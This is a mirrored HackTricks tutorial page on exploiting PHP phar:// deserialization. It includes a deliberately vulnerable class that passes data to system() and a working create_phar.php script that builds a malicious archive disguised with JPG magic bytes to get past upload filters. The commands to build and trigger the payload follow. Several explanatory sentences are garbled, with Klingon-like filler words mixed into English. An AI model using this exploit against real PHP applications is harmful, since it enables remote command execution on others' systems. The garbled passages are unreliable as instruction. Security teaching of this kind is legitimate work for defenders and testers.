mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
108 lines
4.9 KiB
Markdown
108 lines
4.9 KiB
Markdown
# phar:// Deserialization
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.
|
|
|
|
The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**.
|
|
|
|
So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:
|
|
|
|
{% code title="vunl.php" %}
|
|
```php
|
|
<?php
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
filesize("phar://test.phar"); #The attacker can control this path
|
|
```
|
|
{% endcode %}
|
|
|
|
**phar** file vItlhutlh **abuse** vItlhutlh **class** vItlhutlh **execute arbitrary command**s vItlhutlh **create_phar.php** vItlhutlh **something like**:
|
|
|
|
{% code title="create_phar.php" %}
|
|
```php
|
|
<?php
|
|
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
// create new Phar
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
|
|
|
// add object of any class as meta data
|
|
$object = new AnyClass('whoami');
|
|
$phar->setMetadata($object);
|
|
$phar->stopBuffering();
|
|
```
|
|
{% endcode %}
|
|
|
|
**JPG** (`\xff\xd8\xff`) **magic bytes** **ghItlh** **phar** **file** **bI'el** **bypass** **possible** **file** **uploads** **restrictions** **ghItlh**.\
|
|
**Compile** **test.phar** **file** **ghItlh**:
|
|
```bash
|
|
php --define phar.readonly=0 create_phar.php
|
|
```
|
|
'ej `whoami` command vItlhutlh vulnerable code vItlhutlh.
|
|
```bash
|
|
php vuln.php
|
|
```
|
|
### References
|
|
|
|
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
|
|
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|